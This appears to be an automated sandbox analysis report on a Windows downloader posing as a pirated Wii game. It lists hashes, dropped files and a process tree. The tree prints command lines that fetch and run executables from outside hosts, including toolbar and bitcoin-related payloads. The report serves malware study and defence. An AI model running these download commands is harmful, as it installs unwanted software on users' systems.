14e7185f82e2dbbd35bfb7272d67fd1720b7c28705c25feb52cf1b45b4f60861

General

Target

00819e1d78f6bc4d9b7cd8126df52eec.exe
Size

510KB
MD5

00819e1d78f6bc4d9b7cd8126df52eec
SHA1

b946f18697e2c2413743f9a0d391957a5a02e354
SHA256

14e7185f82e2dbbd35bfb7272d67fd1720b7c28705c25feb52cf1b45b4f60861
SHA512

d5a5eee0ce7b29a92f767ab51299a9395a13e6b93cb4424d1b8a81872da141d9aa29ecb75cbe2594dfd9ab74e731716d35edf160af84b74e28525c444d78fd06
SSDEEP

12288:lB38n6peEUBwXVwM9vylzdYvH7Aw5XoR0g46:lBsn8XVNCiH7j4RH

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
628	downloaderSTUB.exe
556	downloaderSTUB.exe
3984	downloaderSTUB.exe
4844	downloaderDDLR.exe
2184	preinstaller.exe
4300	downloaderOFFER0.exe

Loads dropped DLL 25 IoCs

pid	Process
556	downloaderSTUB.exe
628	downloaderSTUB.exe
3984	downloaderSTUB.exe
4844	downloaderDDLR.exe
4300	downloaderOFFER0.exe
628	downloaderSTUB.exe
556	downloaderSTUB.exe
3984	downloaderSTUB.exe
4844	downloaderDDLR.exe
4300	downloaderOFFER0.exe
556	downloaderSTUB.exe
628	downloaderSTUB.exe
3984	downloaderSTUB.exe
4844	downloaderDDLR.exe
4300	downloaderOFFER0.exe
556	downloaderSTUB.exe
628	downloaderSTUB.exe
3984	downloaderSTUB.exe
4844	downloaderDDLR.exe
4300	downloaderOFFER0.exe
556	downloaderSTUB.exe
628	downloaderSTUB.exe
4844	downloaderDDLR.exe
3984	downloaderSTUB.exe
4300	downloaderOFFER0.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x000600000002321f-7.dat	nsis_installer_1
behavioral2/files/0x000600000002321f-7.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4884 wrote to memory of 628	4884	00819e1d78f6bc4d9b7cd8126df52eec.exe	97
PID 4884 wrote to memory of 628	4884	00819e1d78f6bc4d9b7cd8126df52eec.exe	97
PID 4884 wrote to memory of 628	4884	00819e1d78f6bc4d9b7cd8126df52eec.exe	97
PID 4884 wrote to memory of 556	4884	00819e1d78f6bc4d9b7cd8126df52eec.exe	96
PID 4884 wrote to memory of 556	4884	00819e1d78f6bc4d9b7cd8126df52eec.exe	96
PID 4884 wrote to memory of 556	4884	00819e1d78f6bc4d9b7cd8126df52eec.exe	96
PID 4884 wrote to memory of 3984	4884	00819e1d78f6bc4d9b7cd8126df52eec.exe	95
PID 4884 wrote to memory of 3984	4884	00819e1d78f6bc4d9b7cd8126df52eec.exe	95
PID 4884 wrote to memory of 3984	4884	00819e1d78f6bc4d9b7cd8126df52eec.exe	95
PID 4884 wrote to memory of 4844	4884	00819e1d78f6bc4d9b7cd8126df52eec.exe	94
PID 4884 wrote to memory of 4844	4884	00819e1d78f6bc4d9b7cd8126df52eec.exe	94
PID 4884 wrote to memory of 4844	4884	00819e1d78f6bc4d9b7cd8126df52eec.exe	94
PID 4884 wrote to memory of 4300	4884	00819e1d78f6bc4d9b7cd8126df52eec.exe	93
PID 4884 wrote to memory of 4300	4884	00819e1d78f6bc4d9b7cd8126df52eec.exe	93
PID 4884 wrote to memory of 4300	4884	00819e1d78f6bc4d9b7cd8126df52eec.exe	93
PID 4884 wrote to memory of 2184	4884	00819e1d78f6bc4d9b7cd8126df52eec.exe	92
PID 4884 wrote to memory of 2184	4884	00819e1d78f6bc4d9b7cd8126df52eec.exe	92
PID 4884 wrote to memory of 2184	4884	00819e1d78f6bc4d9b7cd8126df52eec.exe	92

C:\Users\Admin\AppData\Local\Temp\00819e1d78f6bc4d9b7cd8126df52eec.exe
"C:\Users\Admin\AppData\Local\Temp\00819e1d78f6bc4d9b7cd8126df52eec.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4884
- C:\Users\Admin\AppData\Local\Temp\a4d25917363d4e2f64b17f8fc6b1f8fc\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\a4d25917363d4e2f64b17f8fc6b1f8fc\preinstaller.exe 0 "[wii]new super mario bros wii[ntsc][full iso][wiisos com]" "Download"
  2⤵
  - Executes dropped EXE
  PID:2184
- C:\Users\Admin\AppData\Local\Temp\a4d25917363d4e2f64b17f8fc6b1f8fc\downloaderOFFER0.exe
  C:\Users\Admin\AppData\Local\Temp\a4d25917363d4e2f64b17f8fc6b1f8fc\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\a4d25917363d4e2f64b17f8fc6b1f8fc\optimizer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4300
- C:\Users\Admin\AppData\Local\Temp\a4d25917363d4e2f64b17f8fc6b1f8fc\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\a4d25917363d4e2f64b17f8fc6b1f8fc\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\a4d25917363d4e2f64b17f8fc6b1f8fc\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4844
- C:\Users\Admin\AppData\Local\Temp\a4d25917363d4e2f64b17f8fc6b1f8fc\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\a4d25917363d4e2f64b17f8fc6b1f8fc\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\a4d25917363d4e2f64b17f8fc6b1f8fc\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3984
- C:\Users\Admin\AppData\Local\Temp\a4d25917363d4e2f64b17f8fc6b1f8fc\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\a4d25917363d4e2f64b17f8fc6b1f8fc\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\a4d25917363d4e2f64b17f8fc6b1f8fc\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:556
- C:\Users\Admin\AppData\Local\Temp\a4d25917363d4e2f64b17f8fc6b1f8fc\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\a4d25917363d4e2f64b17f8fc6b1f8fc\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\a4d25917363d4e2f64b17f8fc6b1f8fc\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\a4d25917363d4e2f64b17f8fc6b1f8fc\downloaderSTUB.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
C:\Users\Admin\AppData\Local\Temp\a4d25917363d4e2f64b17f8fc6b1f8fc\preinstaller.exe

Filesize
213KB

MD5
06baef00ae0f0e42fc5fea24fc4eac42

SHA1
9161574590f09cfe4c24498827386ed57f2e8c58

SHA256
19460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8

SHA512
29431ff9f16fdd4122a10dfec0f260a4397e776daae2ef17defae71e037f082d48d186a24d229c408c9d1b0b4f02aaeaa69011e44cf399795f9c09903ac51486

Download Submit
C:\Users\Admin\AppData\Local\Temp\nst81C4.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/2184-45-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download
memory/4884-44-0x0000000000400000-0x0000000000446000-memory.dmp

Filesize
280KB

Download

Analysis

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